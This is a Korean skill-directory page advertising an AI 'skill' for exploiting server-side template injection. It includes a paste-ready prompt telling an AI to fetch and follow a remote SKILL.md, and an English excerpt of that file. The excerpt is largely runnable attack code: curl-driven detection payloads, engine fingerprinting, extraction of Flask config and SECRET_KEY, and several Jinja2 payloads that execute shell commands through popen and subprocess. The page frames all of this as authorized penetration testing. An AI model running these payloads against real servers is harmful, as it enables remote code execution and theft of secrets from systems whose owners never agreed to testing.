본문으로 건너뛰기
Skillpedia
보안35k · #7926

exploiting-template-injection-vulnerabilities

하는 일

이 도구는 정보를 표시하기 위해 ‘템플릿 엔진’을 사용하는 웹사이트에서 보안 결함을 찾고 악용하는 데 도움을 줍니다. 취약점을 확인하기 위해 서버에서 명령을 실행하려고 시도하며, 파일을 읽거나 명령을 실행할 수도 있습니다.

사용하는 경우

  • ✓허가를 받고 웹사이트 보안을 테스트할 때.
  • ✓웹사이트가 양식이나 메시지 같은 곳에 사용자가 제공한 데이터를 표시할 때.
  • ✓템플릿 결함을 통해 서버 파일을 읽거나 명령을 실행할 수 있는지 확인하는 경우.

스킬 링크

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-template-injection-vulnerabilities/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-template-injection-vulnerabilities/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“example.com에서 템플릿 인젝션 취약점이 있는지 확인해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

이 도구는 웹사이트에 특수한 텍스트(페이로드)를 보내고, 이를 템플릿 엔진이 처리합니다. 웹사이트가 수학 계산 결과를 보여 주는 것처럼 예상치 못하게 반응하면 악용 가능한 결함이 있을 수 있음을 나타냅니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Exploiting Template Injection Vulnerabilities

When to Use

  • During authorized penetration tests when user input is rendered through a server-side template engine
  • When testing error pages, email templates, PDF generators, or report builders that include user-supplied data
  • For assessing applications that allow users to customize templates or notification messages
  • When identifying potential SSTI in parameters that reflect arithmetic results (e.g., {{7*7}} returns 49)
  • During security assessments of CMS platforms, marketing tools, or any application with templating functionality

Prerequisites

  • Authorization: Written penetration testing agreement with RCE testing scope
  • Burp Suite Professional: For intercepting and modifying template parameters
  • tplmap: Automated SSTI exploitation tool (git clone https://github.com/epinna/tplmap.git)
  • SSTImap: Modern SSTI scanner (pip install sstimap)
  • curl: For manual SSTI payload testing
  • Knowledge of template engines: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty

Workflow

Step 1: Identify Template Injection Points

Find parameters where user input is processed by a template engine.

# Inject mathematical expressions to detect template processing
# If the server evaluates the expression, SSTI may be present

# Universal detection payloads
PAYLOADS=(
  '{{7*7}}'           # Jinja2, Twig
  '${7*7}'            # Freemarker, Velocity, Spring EL
  '#{7*7}'            # Thymeleaf, Ruby ERB
  '<%= 7*7 %>'        # ERB (Ruby), EJS (Node.js)
  '{7*7}'             # Smarty
  '{{= 7*7}}'         # doT.js
  '${{7*7}}'          # AngularJS/Spring
  '#set($x=7*7)$x'   # Velocity
)

for payload in "${PAYLOADS[@]}"; do
  encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
  echo -n "$payload -> "
  curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
done

# Check common injection locations:
# - Error pages with reflected input
# - Profile fields (name, bio, signature)
# - Email subject/body templates
# - PDF/report generation with custom fields
# - Search results pages
# - 404 pages reflecting the URL path
# - Notification templates

Step 2: Identify the Template Engine

Determine which template engine is in use to select the appropriate exploitation technique.

# Decision tree for engine identification:
# {{7*'7'}} => 7777777 = Jinja2 (Python)
# {{7*'7'}} => 49 = Twig (PHP)
# ${7*7} => 49 = Freemarker/Velocity (Java)
# #{7*7} => 49 = Thymeleaf (Java)
# <%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)

# Test Jinja2 vs Twig
curl -s "https://target.example.com/page?name={{7*'7'}}"
# 7777777 = Jinja2
# 49 = Twig

# Test for Jinja2 specifically
curl -s "https://target.example.com/page?name={{config}}"
# Returns Flask config = Jinja2/Flask

# Test for Freemarker
curl -s "https://target.example.com/page?name=\${.now}"
# Returns date/time = Freemarker

# Test for Velocity
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
# Returns 1 = Velocity

# Test for Smarty
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
# Returns test = Smarty

# Test for Pebble
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
# Returns class info = Pebble

# Use tplmap for automated engine detection
python3 tplmap.py -u "https://target.example.com/page?name=test"

Step 3: Exploit Jinja2 (Python/Flask)

Achieve code execution through Jinja2 template injection.

# Read configuration
curl -s "https://target.example.com/page?name={{config.items()}}"

# Access secret key
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"

# RCE via Jinja2 - method 1: accessing os module through MRO
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# RCE via Jinja2 - method 2: using cycler
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# RCE via Jinja2 - method 3: using lipsum
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# File read via Jinja2

…
자주 묻는 질문

‘템플릿 엔진’이란 무엇인가요?

고정된 내용과 사용자 이름이나 양식 데이터처럼 변하는 정보를 섞어 동적인 웹페이지를 만드는 시스템입니다.

‘템플릿 인젝션’이란 무엇인가요?

공격자가 템플릿 엔진을 통해 악성 명령이나 코드를 삽입할 수 있는 보안 취약점입니다. 서버가 이를 실행합니다.

이 도구를 사용하려면 허가가 필요한가요?

네, 어떤 시스템이든 테스트하기 전에 명시적인 서면 허가를 받는 것이 필수입니다. 허가 없이 취약점을 악용하는 것은 불법입니다.

상세 정보

작성자의 원본 설명

Detects and exploits Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution. Use when pentesting a web application that renders user input through a server-side template engine and you need to confirm and weaponize SSTI.

repo: mukul975/Anthropic-Cybersecurity-Skills

인기도

GitHub 스타
35k
순위
#7926
라이선스
Apache-2.0
업데이트
2026. 8. 31.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬